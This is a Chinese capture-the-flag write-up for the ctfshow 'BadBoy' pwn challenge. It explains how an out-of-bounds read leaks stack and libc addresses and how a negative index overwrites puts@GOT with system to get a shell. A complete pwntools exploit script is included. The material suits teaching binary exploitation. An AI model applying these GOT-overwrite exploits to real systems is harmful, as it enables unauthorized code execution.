【pwn】ctfshow元旦水友赛--BadBoy
首先先来看一下程序的保护情况
这里got表可改,没有开地址随机
接着看一下ida逻辑
很直接,只有一个main函数,一点点分析这段代码
buf[1] = __readfsqword(0x28u);
init_func(argc, argv, envp);
buf[0] = 'gfedcba';
v5 = 0LL;
while ( (_DWORD)kl )
{
puts("i am bad boy ");
__isoc99_scanf("%ld", &v4);
write(1, (char *)buf + v4, (unsigned int)kl);
LODWORD(kl) = kl - 3;
}
首先这一段设计的非常巧妙,kl的值是6,说明while循环可以执行两次,第一次只能泄露出6字节的值,第二次可以泄露3字节,然后buf地址的偏移是0x10,我们可以gdb看一下
可以发现第一个绿线是buf地址,第二个绿线可以泄露libc地址,第三个绿线可以泄露出栈地址
以下是泄露的exp:
io.sendlineafter("i am bad boy \n",str(40))
stack_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
io.sendlineafter("i am bad boy \n",str(24))
libc_start_call_main = u64(io.recv(3).ljust(8,b'\x00'))
print("libc_start_call_main"+hex(libc_start_call_main))
libc地址其实3个字节就够用了
然后又可以往buf地址写个3个字节的值,这里我们只能写出'sh/x00'
接着修改puts_got的内容,修改成system函数,最后再调用puts(buf)的时候就可以达到getshell的目的
__isoc99_scanf("%lld", &v5);
if ( v5 > 8 )
exit(0);
printf("HaHaHa ");
read(0, (char *)buf + v5, 3uLL);
puts((const char *)buf);
return 0;
if ( v5 > 8 )
exit(0);
printf("HaHaHa ");
read(0, (char *)buf + v5, 3uLL);
puts((const char *)buf);
return 0;
ida代码中这个v5的值是可以输入负数,于是我们可以输入负数来实现got表的数据写入,我们只需要知道buf地址,以及puts_got的地址,buf地址可以通过泄露的栈地址减去0xf8来确定
puts_got的地址如下:
![](https://img2024.cnblogs.com/blog/3310839/202402/3310839-20240206163818014-720873199.png)
然后我们就要来解决system函数的问题,我们现在是可以往puts_got的地址处写入3字节的值,其实已经完全足够,因为其它5个字节都是随机生成的基址
首先我们先libc_start_main-231确定到libc_start_main函数的地址,然后减去libc_start_main函数偏移得到后3字节的基地址,再加上system的偏移就是system函数后3字节的真实地址
完整exp如下:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#io=remote("pwn.challenge.ctf.show",28202)
io=process("./pwn")
elf=ELF("./pwn")
libc=elf.libc
io.sendlineafter("i am bad boy \n",str(40))
stack_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
io.sendlineafter("i am bad boy \n",str(24))
libc_start_call_main = u64(io.recv(3).ljust(8,b'\x00'))
print("libc_start_call_main"+hex(libc_start_call_main))
io.sendlineafter(b"because i'm not girl ",b'sh\x00')
puts_got_addr=-(stack_addr-0xf8-0x601018)
print("puts_got_addr"+hex(puts_got_addr))
io.sendlineafter(b"so can you fell me? ",str(puts_got_addr))
system_addr=libc_start_call_main-231-libc.sym['__libc_start_main']+libc.sym["system"]
io.sendlineafter(b"HaHaHa ",p64(system_addr))
io.interactive()